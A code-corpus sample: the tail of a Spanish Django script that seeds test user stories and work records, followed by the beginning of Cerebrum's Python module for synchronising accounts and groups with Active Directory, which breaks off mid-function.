proyecto=proyecto3,usuario=usuario1,horas_por_dia=3) #miembro55.save() #miembro25 = Miembro(rol=develop,proyecto=proyecto3,usuario=usuario3,horas_por_dia=3) #miembro25.save() us11p3 = us(nombre='US11 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 60, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=12,actividad=actividad6,sprint=sprint7,flujo=flujo5,responsable=miembro5, estado_de_aprobacion='FIN',estado='DONE') us11p3.save() us12p3 = us(nombre='US12 para el proyecto 3', proyecto=proyecto3,valor_de_negocio= 5, prioridad= 20, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=12,actividad=actividad6,sprint=sprint7,flujo=flujo5,responsable=miembro333, estado_de_aprobacion='FIN',estado='DONE') us12p3.save() reg1= registroTrabajoUs(us=us11p3, descripcion='primer registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us11p3, descripcion='segundo registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us11p3, descripcion='tercer registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us11p3, descripcion='cuarto registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save() reg1= registroTrabajoUs(us=us12p3, descripcion='primer registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-10 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us12p3, descripcion='segundo registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-11 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us12p3, descripcion='tercer registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-12 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us12p3, descripcion='cuarto registro', horas_dedicadas=0, fecha_hora_creacion='2015-5-13 16:30',archivo_adjunto=None) reg4.save()
codeparrot/github-code-clean
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2011-2017 University of Oslo, Norway # # This file is part of Cerebrum. # # Cerebrum is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Cerebrum is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Cerebrum; if not, write to the Free Software Foundation, # Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. """Generic module for basic synchronisation with Active Directory. A synchronisation script must create an instance of such a sync class from this file, or an instance' subclass. It should then feed it with configuration variables before the synchronisation should start. Example:: sync = BaseSync.get_class(sync_type)(db, logger) sync.configure(config_args) sync.fullsync() # or: sync.quicksync(change_key) Subclasses should be made when: - Active Directory for the instance has extra functionality which requires more than just new attributes. Examples: Exchange, home directories and maybe Lync. - An instance has special needs which the base sync is not flexible enough to support. The classes should be designed so that they're easy to subclass and change most of its behaviour. Some terms: - entity is an account/group/OU or anything else in Cerebrum - this corresponds to an object in AD. - Entities in quarantine are often referred to as deactivated. In AD is this called disabled. """ import time import uuid import adconf from Cerebrum import Entity, Errors from Cerebrum.modules import CLHandler, Email from Cerebrum.modules.EntityTrait import EntityTrait from Cerebrum.Utils import unicode2str, Factory, dyn_import, NotSet from Cerebrum.utils import json from Cerebrum.utils.email import sendmail from Cerebrum.modules.ad2 import ADUtils, ConfigUtils from Cerebrum.modules.ad2.CerebrumData import CerebrumEntity from Cerebrum.modules.ad2.ConfigUtils import ConfigError from Cerebrum.modules.ad2.winrm import CommandTooLongException from Cerebrum.modules.ad2.winrm import PowershellException from Cerebrum.modules.gpg.data import GpgData from Cerebrum.QuarantineHandler import QuarantineHandler class BaseSync(object): """Class for the generic AD synchronisation functionality. All the AD-synchronisation classes should subclass this one. The sync's behaviour: 1. Configuration: - All config is set - subclasses could add more settings. - The config is checked - subclasses could override this. 2. At fullsync: - AD is asked to start generating a list of objects - Data from Cerebrum gets cached: - All entities in Cerebrum to sync is listed. Each entity is represented as an instance of L{CerebrumEntity}. - Quarantined entities gets marked as deactive. - Attributes as stored in Cerebrum. - Subclasses could cache more. - Each entity's AD-attributes get calculated. - Process each object retrieved from AD: - Gets ignored if in an OU we should not touch. - Gets removed/disabled in AD if no entity match the object. - If not active in Cerebrum, disable/move object in AD, according to what the config says. - Gets moved to correct OU if put somewhere else, but only if config says so. - Attributes gets compared. Those in AD not equal to Cerebrum gets updated. - Subclasses could add more functionality. - Remaining entities that was not found in AD gets created in AD. 3. At quicksync: - Get all unhandled events from the ChangeLog - Process each unhandled event - If successfully processed, mark the event as handled Subclasses could of course make changes to this behaviour. """ # What class to make an instance of for talking with the AD server: server_class = ADUtils.ADclient # List of messages that should be given to the administrators of the AD # domain. Such messages are errors that could not be fixed by Cerebrum's # sysadmins, unless they have admin privileges in the AD domain. _ad_admin_messages = [] # The required settings. If any of these settings does not exist in the # config for the given AD-sync, an error will be triggered. Note that # subclasses must define their own list for their own settings. settings_required = ('sync_type', 'domain', 'server', 'target_ou', 'search_ou', 'object_classes') # Settings with default values. If any of these settings are not defined in # the config for the given AD-sync, they will instead get their default # value. Note that subclasses must define their own list for their own # values. settings_with_default = (('dryrun', False), ('mock', False), ('encrypted', True), ('auth_user', 'cereauth'), ('domain_admin', 'cerebrum_sync'), ('move_objects', False), ('subset', None), ('ad_admin_message', ()), ('name_format', '%s'), ('ignore_ou', ()), ('create_ous', False), ('attributes', {}), ('useraccountcontrol', {}), ('store_sid', False), ('handle_unknown_objects', ('ignore', None)), ('handle_deactivated_objects', ('ignore', None)), ('gpg_recipient_id', None), ('language', ('nb', 'nn', 'en')), ('changes_too_old_seconds', 60*60*24*365), ('group_type', 'security'), ('group_scope', 'global'), ('ou_mappings', []), ('script', {}), ) # A mapping from the entity_type to the correct externalid_type. Note that # the mapping gets converted to CerebrumConstants at startup. sidtype_map = {'account': 'AD_ACCSID', 'group': 'AD_GRPSID'} def __init__(self, db, logger): """Initialize the sync. A superclass is connecting to the given AD agent. TODO: or should we only use ADclient directly in this class instead? Depends on how complicated things are getting. :type db: Cerebrum.CLDatabase.CLDatabase :type logger: Cerebrum.logutils.loggers.CerebrumLogger """ super(BaseSync, self).__init__() self.db = db self.logger = logger self.co = Factory.get("Constants")(self.db) self.clconst = Factory.get("CLConstants")(self.db) self.ent = Factory.get('Entity')(self.db) self._ent_extid = Entity.EntityExternalId(self.db) self._entity_trait = EntityTrait(self.db) # Where the sync configuration should go: self.config = dict() # Where the entities to work on should go. Keys should be entity_names: self.entities = dict() # Where entity_ids of entities currently exempt from a sync should go. self.exempt_entities = list() # A mapping from entity_id to the entities. self.id2entity = dict() # A mapping from AD-id to the entities. AD-id is per default # SamAccountName, but could be set otherwise in the config. self.adid2entity = dict() @classmethod def get_class(cls, sync_type='', classes=None): """Build a synchronisation class out of given class names. This works like Factory.get() but you could specify the list of class names yourself. The point of this is to be able to dynamically create a synchronisation class with the features that is needed without having to hardcode it. All the given class names gets imported before a new class is created out of them. Note that this class is automatically inherited in the list. Note that the order of the classes are important if they are related to each others by subclassing. You can not list class A before subclasses of the class A, as that would mean the subclass won't override any of A's methods. The method would then raise an exception. @type sync_type: string @param sync_type: The name of a AD-sync type which should be defined in the AD configuration. If given, the classes defined for the given type will be used for setting up the sync class. This parameter gets ignored if L{classes} is set. @type classes: list or tuple @param classes: The names of all the classes that should be used in the sync class. If this is specified, the L{sync_type} parameter gets ignored. Example on classes: - Cerebrum.modules.ad2.ADSync/UserSync - Cerebrum.modules.no.uio.ADSync/UiOUserSync """ assert classes or sync_type, "Either sync_type or classes needed" if not classes: if sync_type not in adconf.SYNCS: raise Exception('Undefined AD-sync type: %s' % sync_type) conf = adconf.SYNCS[sync_type] classes = conf.get('sync_classes') if not classes: raise Exception('No sync class defined for sync type %s' % sync_type) return cls._generate_dynamic_class(classes, '_dynamic_adsync_%s' % sync_type) def _format_name(self, name_to_format): """Adjust the name of the object according to the sync's configuration. The type of adjustment is defined by the type of 'name_format' configuration parameter. @type name_to_format: string @param name_to_format: the name of the object. It can be either just adjusted according to some string formatting, or become an input parameter to a function, that performs more complex transformation. """ nformat = self.config.get('name_format', '%s') if callable(nformat): # There is a transformation function defined in the config return nformat(name_to_format) else: # This is a string formatting in the configuration return nformat % name_to_format def configure(self, config_args): """Read configuration options from given arguments and config file. The configuration is for how the ADsync should behave and work. Could be subclassed to support more settings for subclass functionality. Defined basic configuration settings: - target_spread: Either a Spread constant or a list of Spread constants. Used to find what entities from Cerebrum to sync with AD. - root_ou (string): The root OU that should be searched for objects in AD. - target_ou (string): What OU in AD that should be set as the default OU for the objects. - handle_unknown_objects: What to do with objects that are not found in Cerebrum. Could either be missing spread, that they're deleted, or if they have never existed in Cerebrum. Entities in quarantine but with the correct target_spread are not affected by this. Values: ('disable', None) # Deactivate object. This is the default. ('move', OU) # Deactivate object and move to a given OU. ('delete', None) # Delete the object. Can't be restored. ('ignore', None) # Do not do anything with these objects. - move_objects (bool): If objects in the wrong OU should be moved to the target_ou, or being left where it is. Other attributes are still updated for the object. Defaults to False. - attributes: The attributes to sync. Must be a dict with the name of the attributes as keys and the values is further config for the given attribute. The configuration is different per attribute. @type config_args: dict @param config_args: Configuration data that should be set. Overrides any settings that is found from config file (adconf). Unknown keys in the dict is not warned about, as it could be targeted at subclass configuration. """ # Required settings. Will fail if not defined in the config: for key in self.settings_required: try: self.config[key] = config_args[key] except KeyError: raise Exception('Missing required config variable: %s' % key) # Settings which have default values if not set: for key, default in self.settings_with_default: self.config[key] = config_args.get(key, default) # Set what object class type in AD to use, either the config or what is # set in any of the subclasses of the ADSync. Most subclasses should # set a default object class. self.ad_object_class = config_args.get('ad_object_class', self.default_ad_object_class) # The object class is generated dynamically, depending on the given # list of classes: self.logger.debug2("Using object classes: %s", ', '.join(config_args['object_classes'])) self._object_class = self._generate_dynamic_class( config_args['object_classes'], '_dynamic_adobject_%s' % self.config['sync_type']) if not issubclass(self._object_class, CerebrumEntity): raise ConfigError( 'Given object_classes not subclass of %s' % CerebrumEntity) # Calculate target spread and target entity_type, depending on what # settings that exists: if config_args.get('target_spread'): # Explicitly set target spreads will override the other settings spread = self.co.Spread(config_args['target_spread']) self.config['target_spread'] = spread self.config['target_type'] = spread.entity_type else: # Otherwise we use the set 'sync_type' for finding the spread: spread = self.co.Spread(self.config['sync_type']) try: int(spread) except Errors.NotFoundError: if 'target_type' in config_args: self.config['target_type'] = config_args['target_type'] self.config['target_spread'] = None else: raise ConfigUtils.ConfigError( 'Either sync name must be a spread, or target_type ' 'must be defined') else: self.config['target_spread'] = spread self.config['target_type'] = spread.entity_type # Convert the entity_type into the type constant self.config['target_type'] = self.co.EntityType( self.config['target_type']) # Languages are changed into the integer of their constants self.config['language'] = tuple(int(self.co.LanguageCode(l)) for l in self.config['language']) # Change-types are changed into their constants self.config['change_types'] = tuple(self.clconst.ChangeType(*t) for t in config_args.get('change_types', ())) # Set the correct port if 'port' in config_args: self.config['port'] = config_args['port'] else: self.config['port'] = 5986 if not self.config['encrypted']: self.config['port'] = 5985 if config_args.get('dc_server'): self.config['dc_server'] = config_args['dc_server'] if self.config['subset']: self.logger.info("Sync will only be run for subset: %s", self.config['subset']) # Log if in dryrun if self.config['dryrun']: self.logger.info('In dryrun mode, AD will not be updated') if self.config['mock']: self.logger.info('In mock mode, AD will not be connected to') from Cerebrum.modules.ad2 import ADMock self.server_class = ADMock.ADclientMock # We'll need to set mock mode for all sync configurations, since # the sync will instantiate clients with other configurations, in # order to collect necessary AD attributes. for key in adconf.SYNCS: adconf.SYNCS[key]['mock'] = True # Messages for AD-administrators should be logged if the config says # so, or if there are no other options set: self.config['log_ad_admin_messages'] = False if (not self.config['ad_admin_message'] or any(o in (None, 'log') for o in self.config['ad_admin_message'])): self.config['log_ad_admin_messages'] = True if self.config['store_sid']: converted = dict((self.co.EntityType(e_type), self.co.EntityExternalId(sid_type)) for e_type, sid_type in self.sidtype_map.iteritems()) self.sidtype_map = converted # We define the group scope and type for new groups. # This should probably be moved to UiADistGroupSync, and so should the # code that touches new_group_scope in the create_object-method (in # this class). self.new_group_scope = self.config['group_scope'].lower() self.new_group_type = self.config['group_type'].lower() # Check the config self.config_check() def config_check(self): """Check that the basic configuration is okay.""" if not isinstance(self.config['ignore_ou'], (tuple, list)): raise Exception("ignore_ou must be list/tuple") if not self.config['target_ou'].endswith(self.config['search_ou']): self.logger.warn('target_ou should be under the search_ou') # Check the attributes: # Attributes that shouldn't be defined: for n in ('dn', 'Dn', 'sn', 'Sn'): if n in self.config['attributes']: self.logger.warn('Bad attribute defined in config: %s' % n) # The admin message config: for opt in self.config['ad_admin_message']: if opt[0] not in ('mail', 'file', 'log', None): self.logger.warn("Unknown option in ad_admin_message: %s", opt) if opt[1] not in ('error', 'warning', 'info', 'debug'): self.logger.warn("Unknown level in ad_admin_message: %s", opt) # some ways if opt[0] in ('mail', 'file'): if len(opt) <= 2: self.logger.warn("Missing setting in ad_admin_message: %s", opt) # If name_format is string, it should include the '%s' for # the entity_name to be put in. nformat = self.config.get('name_format', '%s') if not callable(nformat) and '%s' not in nformat: self.logger.warn("Missing '%s' in name_format, name not included") for handl in ('handle_unknown_objects', 'handle_deactivated_objects'): var = self.config[handl] if var[0] not in ('ignore', 'disable', 'move', 'delete'): raise Exception( "Bad configuration of %s - set to: %s" % (handl, var)) # Check that all the defined change_types exists: for change_type in self.config.get('change_types', ()): int(change_type) # TODO: move the instantiation of the server to somewhere else! self.setup_server() @staticmethod def _generate_dynamic_class(classes, class_name='_dynamic'): """Generate a dynamic class out of the given classes. This is doing parts of what L{Utils.Factory.get} does, but without the dependency of cereconf. @type classes: list of str @param classes: The list of classes that should get combined and turned into a dynamic class. The classes are represented by strings, starting with the module path, ending with the class name in the module. Example: Cerebrum.modules.ad2.ADSync/UserSync Cerebrum.modules.ad2.ADSync/PosixUserSync Note that the order in the list is important. The last element is the superclass, and everyone before is subclasses. This also means that you if add related classes, subclasses must be added before the superclasses. @type class_name: str @param class_name: The name of the new class, e.g. represented by L{__main__._dynamic}. Not used if only one class is given, as that is then used directly - no need to create a new class that is exactly the same as input. @rtype: dynamic class @return: A dynamically generated class. """ bases = [] for c in classes: mod_name, cname = c.split("/", 1) mod = dyn_import(mod_name) claz = getattr(mod, cname) for override in bases: if issubclass(claz, override): raise Exception( "Class %r should appear earlier in the list, as " "it's a subclass of class %r." % (claz, override)) bases.append(claz) if len(bases) == 1: return bases[0] # Dynamically construct the new class that inherits from all the given # classes: return type(class_name, tuple(bases), {}) def setup_server(self): """Instantiate the server class to use for WinRM.""" self.server = self.server_class( logger=self.logger, host=self.config['server'], port=self.config.get('port'), auth_user=self.config.get('auth_user'), domain_admin=self.config.get('domain_admin'), domain=self.config.get('domain'), encrypted=self.config.get('encrypted', True), ca=self.config.get('ca'), client_cert=self.config.get('client_cert'), client_key=self.config.get('client_key'), dryrun=self.config['dryrun']) if 'dc_server' in self.config: self.server.set_domain_controller(self.config['dc_server']) def add_admin_message(self, level, msg): """Add a message to be given to the administrators of the AD domain. The messages should at the end be given to the administrators according to what the confiuration says. @type level: string # TODO: make use of log constants instead? @param level: The level of the given message to log. Used to separate out what messages that should be given to the AD-administrators and not. @type msg: string @param msg: The message that should be logged. Must not contain sensitive data, like passwords, as it could be sent by mail. """ self.logger.info("AD-message: %s: %s", level, msg) self._ad_admin_messages.append((level, msg)) if self.config['log_ad_admin_messages']: func = getattr(self.logger, level) func(msg) def send_ad_admin_messages(self): """Send the messages for the AD-administrators, if any. The way the messages should be sent is decided by the configuration. """ if not self._ad_admin_messages: self.logger.debug("No AD-admin messages to send") return self.logger.debug('Found %d AD-admin messages to send', len(self._ad_admin_messages)) txt = '\n'.join('%s: %s' % (x[0].upper(), unicode2str(x[1])) for x in self._ad_admin_messages) for opt in self.config['ad_admin_message']: if opt[0] in (None, 'log'): # Messages already logged when added. pass elif opt[0] == 'mail': for address in opt[2:]: self.logger.info("Sending %d messages to %s", len(self._ad_admin_messages), address) try: sendmail(address, 'cerebrum@usit.uio.no', 'AD-sync messages for %s at %s' % ( self.config['sync_type'], self.config['domain']), txt, charset='utf-8', debug=self.config['dryrun']) except Exception as e: self.logger.warn("Error sending AD-messages to %s: %s", address, e) elif opt[0] == 'file': self.logger.warn( "Sending AD-admin messages to file not implemented") # TODO else: self.logger.warn("Unknown way to send AD-messages: %s" % opt) self._ad_admin_messages = [] self.logger.debug('Sending AD-admin messages done...') def fullsync(self): """Do the fullsync by comparing AD with Cerebrum and then update AD. In subclasses, you should rather override the methods that this method calls instead of overriding all of this method, unless you of course want to do the fullsync completely different. """ self.logger.info("Fullsync started") self.logger.debug("Pre-sync processing...") self.pre_process() ad_cmdid = self.start_fetch_ad_data() self.logger.debug("Fetching cerebrum data...") self.fetch_cerebrum_data() self.logger.debug("Calculate AD values...") self.calculate_ad_values() self.logger.debug("Process AD data...") self.process_ad_data(ad_cmdid) self.logger.debug("Process entities not in AD...") self.process_entities_not_in_ad() self.logger.debug("Post-sync processing...") self.post_process() self.logger.info('Fullsync done') self.send_ad_admin_messages() # TODO: not sure if this is the place to put this, but we must close # down connections on the server side: self.server.close() def quicksync(self, changekey=None, change_ids=None): """Do a quicksync, by sending the latest changes to AD. All events of the given change_types are processed generically, and in chronologically order. Subclasses should rather override the methods that this method calls instead of overring all of this method, as that is easier. Unless, of course, you want to completely rewrite the behaviour of the quicksync. The quicksync is going through L{change_log} for new events that has not been marked as commited by the given L{changekey}. The list is processed in reverse, so that equal events are only processed once. :type changekey: string :param changekey: The change-log key to mark the events as commited or not. Must be unique per job, unless you're in for race conditions and skipped events. :type change_ids: list or None :param change_ids: If specified, only the given change ids will be attempted executed. The given IDs will be run no matter if they are considered finished by the L{CLHandler}. """ self.logger.info("Quicksync started") cl = CLHandler.CLHandler(self.db) changetypes = self.config['change_types'] already_handled = set() # Changes that has been processed # Avoid changes that are too old: too_old = time.time() - int(self.config['changes_too_old_seconds']) # generator to get events from changekey in correct order def _events_for_change_key(k, t): for e in reversed(cl.get_events(k, t)): yield e # generator to get events from change_ids in correct order def _events_for_change_ids(ids): for i in reversed(sorted(ids)): rows = self.db.get_log_events(start_id=i, max_id=i) try: yield rows.next() except StopIteration: self.logger.warn("No change_id %s", i) # Re-writeable functions for cl.confirm and cl.commit confirm = lambda e: cl.confirm_event(e) commit = lambda dryrun: None if dryrun else cl.commit_confirmations() if changekey: self.logger.debug("Processing changekey: %s", changekey) events = _events_for_change_key(changekey, changetypes) elif change_ids: self.logger.debug("Processing given change_ids: %s", change_ids) events = _events_for_change_ids(change_ids) # Do not commit to CLHandler -- that won't work if cl is not set up # with a changekey commit = lambda r: None confirm = lambda d: None else: raise Exception("Missing changekey or change_ids") stats = dict(seen=0, processed=0, skipped=0, failed=0) for row in events: timestamp = int(row['tstamp']) handle_key = tuple((int(row['change_type_id']), row['subject_entity'], row['dest_entity'])) change_type = self.clconst.ChangeType(int(row['change_type_id'])) stats['seen'] += 1 # Ignore too old changes: if timestamp < too_old: stats['skipped'] += 1 self.logger.info("Skipping too old change_id: %s", row['change_id']) confirm(row) continue # Ignore seen (change_type, subject, dest) tuples if handle_key in already_handled: stats['skipped'] += 1 self.logger.info( "Skipping change_id %s: Already handled change type %s" " for subject=%s, dest=%s", row['change_id'], str(change_type), row['subject_entity'], row['dest_entity']) confirm(row) continue self.logger.debug( "Processing change_id %s (%s), from %s subject_entity: %s", row['change_id'], change_type, timestamp, row['subject_entity']) already_handled.add(handle_key) try: if self.process_cl_event(row): stats['processed'] += 1 confirm(row) else: stats['skipped'] += 1 self.logger.debug( "Unable to process %s for subject=%s dest=%s", change_type, row['subject_entity'], row['dest_entity']) except Exception: stats['failed'] += 1 self.logger.error( "Failed to process cl_event %s (%s) for %s", row['change_id'], change_type, row['subject_entity'], exc_info=1) else: commit(self.config['dryrun']) commit(self.config['dryrun']) self.logger.info("Handled %(seen)d events, processed: %(processed)d," " skipped: %(skipped)d, failed: %(failed)d", stats) self.logger.info("Quicksync done") self.send_ad_admin_messages() def process_cl_event(self, row): """Process a given ChangeLog event. This is normally called by the L{quicksync} method. Log changes that is not set in L{adconf.SYNCS[<sync_type>][change_types]} will not be called. Subclasses should override for handling their own change types. The Basesync only handles quite generic change types, and not e.g. account specific changes. @type row: dict of db-row @param row: A db-row, as returned from L{changelog.get_events()}. This is the row that should be processed. @rtype: bool @return: The result from the handler. Should be True if the sync succeeded or there was no need for the change to be synced, i.e. the log change could be confirmed. Should only return False if the change needs to be redone. @raise UnhandledChangeTypeError? TODO: Should we have our own exception class that is used if the method does not know what to do with a given change type? Could then be used by subclasses. @raise TODO: TODO: What exceptions is expected here? """ # TODO: Add functionality for generic changes here! self.logger.warn("Change type not handled: %s", self.clconst.ChangeType(row['change_type_id'])) # TODO: Or rather raise an UnhandledChangeTypeError? return False def fetch_cerebrum_data(self): """Get basic data from Cerebrum. Subclasses could extend this by getting more information from Cerebrum. should first populate L{self.entities} with the entities data, before calling this method from this superclass. This is because this class does not populate the dict, but updates only the existing entities with basic data, like quarantines. """ self.fetch_cerebrum_entities() self.logger.debug("Fetched %d cerebrum entities" % len(self.entities)) # Make a mapping from entity_id to the entity: self.id2entity = dict((self.entities[e].entity_id, self.entities[e]) for e in self.entities) # Make a mapping from entity_name to the entity: self.name2entity = dict((self.entities[e].entity_name, self.entities[e]) for e in self.entities) # Make a mapping from ad_id to the entity: self.adid2entity = dict((self.entities[e].ad_id.lower(), self.entities[e]) for e in self.entities) if len(self.entities) != len(self.adid2entity): self.logger.warn("Mismatch in mapping of ad_id -> entity_id") self.fetch_quarantines() self.fetch_spreads() self.fetch_attributes() if self.config['store_sid']: self.fetch_sids() def fetch_cerebrum_entities(self): """Get and cache all the entities from Cerebrum. This method MUST be created by the subclasses, to get the proper entities to synchronize with AD. """ raise Exception('Must be defined in the proper subclass') def fetch_quarantines(self): """Get all quarantines from Cerebrum and update L{self.entities} with this. Called after the entities should have been retrieved from Cerebrum, so all in quarantine gets tagged as deactivated. """ self.logger.debug("Fetch quarantines...") # Limit the search to the entity_type the target_spread is meant for: target_type = self.config['target_type'] ids = None if self.config['subset']: ids = self.id2entity.keys() quarantined_accounts = QuarantineHandler.get_locked_entities( self.db, entity_types=target_type, entity_ids=ids) for entity_id in quarantined_accounts: found = self.id2entity.get(entity_id) if found: found.active = False self.logger.debug("Flagged %d entities as deactivated", len(quarantined_accounts)) def fetch_spreads(self): """Get all spreads from Cerebrum and update L{self.entities} with this. The spreads _could_ be used for updating various attributes or not depending on if an entity should be available in different AD systems, e.g. Exchange, Lync and Sharepoint. """ self.logger.debug("Fetch spreads for target type %s...", self.config['target_type']) if not self.config['target_type']: # Don't know what spreads to fetch if we don't know the entity type return # TODO: Need to check what spreads we really need - slow to fetch all # spreads for an entity type... i = 0 es = Entity.EntitySpread(self.db) for row in es.list_entity_spreads(self.config['target_type']): ent = self.id2entity.get(int(row['entity_id'])) if ent: ent.spreads.append(row['spread']) i += 1 self.logger.debug("Fetched %d entity spreads", i) def fetch_attributes(self): """Get all AD attributes stored in Cerebrum and add them to the cached entities. """ # Check if data from the attribute table is needed: attrtypes = set() for c in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.ADAttributeAttr): attrtypes.update(c.attributes) if not attrtypes: return self.logger.debug("Fetch from attribute table: %s", ', '.join(str(a) for a in attrtypes)) ids = None if self.config['subset']: ids = self.id2entity.keys() # Handle empty lists: if not ids: return i = 0 for row in self.ent.list_ad_attributes( entity_id=ids, spread=self.config['target_spread'], attribute=attrtypes): e = self.id2entity.get(row['entity_id'], None) if e: attr = int(row['attr_code']) attrcode = self.co.ADAttribute(attr) if attrcode.multivalued: e.cere_attributes.setdefault(attr, []).append(row['value']) else: e.cere_attributes[attr] = row['value'] i += 1 self.logger.debug("Fetched %d AD attributes from Cerebrum" % i) def fetch_sids(self): """Get all SIDs stored in Cerebrum and add them to the cached entities. Security ID, or SID, is the identifier for objects in AD with privileges. Privileges could be set for Users, Groups, Computers and probably other object types. The SID is readonly, and is automatically set when the object is created. At some instances, we want to store the SID for security reasons (auditing). A SID can not be reused, so when an object is deleted and recreated, it gets a new SID, and thus also all its presiously set privileges. TODO: how should SID be stored? We should connect it to spreads, as the object could have a different SID in the different AD domains, so we can't just be able to store one. It looks we have to store it in the table with other AD attributes and don't write it back to AD, as it's readonly. """ self.logger.debug("Fetch SIDs...") en = Entity.EntityExternalId(self.db) id_type = self.co.EntityExternalId( self.sidtype_map[self.config['target_type']]) i = 0 for row in en.search_external_ids(source_system=self.co.system_ad, id_type=id_type, fetchall=False): # TODO: how should we get it per spread? e = self.id2entity.get(row['entity_id'], None) if e: e.sid = row['external_id'] i += 1 self.logger.debug("Fetched %d SIDs from Cerebrum" % i) def fetch_names(self): """Get all the entity names for the entities from Cerebrum. """ self.logger.debug("Fetch name information...") variants = set() systems = set() languages = set() all_systems = False # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.NameAttr): variants.update(atr.name_variants) if atr.source_systems is None: all_systems = True else: systems.update(atr.source_systems) if atr.languages: languages.update(atr.languages) if not variants: return self.logger.debug("Fetch names of the types: %s", variants) if all_systems or not systems: # By setting to None we fetch from all source_systems. systems = None if not languages: # By setting to None we fetch all languages: languages = None ids = None if self.config['subset']: ids = self.owner2ent.keys() i = 0 for row in self.ent.search_name_with_language( name_variant=variants, entity_id=ids, entity_type=self.config['entity_type'], name_language=languages): for ent in self.owner2ent.get(row['entity_id'], ()): vari = str(self.co.EntityNameCode(row['name_variant'])) lang = str(self.co.LanguageCode(row['name_language'])) ent.entity_name_with_language.setdefault( vari, {})[lang] = row['name'] i += 1 self.logger.debug("Found %d names" % i) def calculate_ad_values(self): """Use Cerebrum data to calculate the needed attributes. """ for ent in self.entities.itervalues(): ent.calculate_ad_values() def cache_entity(self, entity_id, entity_name, *args, **kwargs): """Wrapper method for creating a cache object for an entity. The object class is created dynamically, depending on the config and what subclasses of the sync is in use. This method returns an object out of the correct classes. You should call this method for new cache objects instead of creating it directly, for easier subclassing. @type entity_id: int @param entity_id: The entity's entity_id @type entity_name: str or unicode @param entity_name: The entity's name, normally the entity_name. @type *args: mixed @param *args: More arguments that should be passed on to the object at instantiation. @type *kwargs: mixed @param *kwargs: More arguments that should be passed on to the object at instantiation. @rtype: Cerebrum.modules.ad2.CerebrumData.CerebrumEntity @return: A proper instantiated subclass for L{CerebrumEntity}. """ return self._object_class(self.logger, self.config, entity_id, entity_name, *args, **kwargs) def start_fetch_ad_data(self, object_class=None, attributes=dict()): """Send request(s) to AD to start generating the data we need. Could be subclassed to get more/other data. @type object_class: str @param object_class: What object class to get from AD, e.g. 'user' or 'group'. If not set, use what is defined in config or object. @type attributes: list @param attributes: Extra attributes that should be retrieved from AD. The attributes defined in the config is already set. @rtype: string @return: A CommandId that is the servere reference to later get the data that has been generated. """ if not object_class: object_class = self.ad_object_class attrs = self.config['attributes'].copy() if attributes: attrs.update(attributes) self.logger.debug2("Try to fetch %d attributes: %s", len(attrs), ', '.join(sorted(attrs))) # Some attributes are readonly, so they shouldn't be put in the list, # but we still need to receive them if they are used, like the SID. if self.config['store_sid'] and 'SID' not in attrs: attrs['SID'] = None return self.server.start_list_objects(ou=self.config['search_ou'], attributes=attrs, object_class=object_class) def process_ad_data(self, commandid): """Start processing the data from AD. Each object from AD is sent through L{process_ad_object} for further processing. :type commandid: tuple :param commandid: The CommandId for the command that has been executed on the server to generate a list of objects. :raise PowershellException: For instance OUUnknownException if the given OU to search in does not exist. """ i = 0 for ad_object in self.server.get_list_objects(commandid): if i == 0: self.logger.debug2("Retrieved %d attributes: %s", len(ad_object), ', '.join(sorted(ad_object.keys()))) try: self.process_ad_object(ad_object) except ADUtils.NoAccessException as e: # Access errors could be given to the AD administrators, as # Cerebrum are not allowed to fix such issues. self.add_admin_message( 'warning', 'Missing access rights for %s: %s' % ( ad_object['DistinguishedName'], e)) # TODO: do we need to strip out data from the exceptions? Could # it for instance contain passwords? except PowershellException as e: self.logger.warn("PowershellException for %s: %s" % (ad_object['DistinguishedName'], e)) else: i += 1 self.logger.debug("Received and processed %d objects from AD" % i) return i def process_ad_object(self, ad_object): """Compare an AD-object with Cerebrum and update AD with differences. Basic functionality for what to do with an object, compared to what is stored in Cerebrum. Could be subclassed to add more functionality. This command is called both when updating existing objects, but also if an entity didn't exist in AD and just got created. :type ad_object: dict :param ad_object: A dict with information about the AD object from AD. The dict contains mostly the object's attributes. :rtype bool: True if the AD object is processed and can be processed further. False is returned if it should not be processed further either because it is in a OU we shouldn't touch, or doesn't exist in Cerebrum. Subclasses might still want to process the object in some way, but for most cases this is the regular situations where the object should not be processed further. """ name = ad_object['Name'] dn = ad_object['DistinguishedName'] if 'UserAccountControl' in ad_object: self.logger.debug3("For %s UAC: %s" % (name, ad_object['UserAccountControl'])) ent = self.adid2entity.get(name.lower()) if ent: ent.in_ad = True if ent.entity_id in self.exempt_entities: self.logger.debug3( 'Entity {0} marked as exempt, ignoring'.format( ent.entity_id)) return False ent.ad_data['dn'] = dn # Don't touch others than from the subset, if set: if self.config.get('subset'): # Convert names to comply with 'name_format': subset_names = (self._format_name(s) for s in self.config['subset']) if name not in subset_names: self.logger.debug3("Ignoring due to subset: %s", name) return False # Don't touch those in OUs we should ignore: if any(dn.endswith(ou) for ou in self.config.get('ignore_ou', ())): 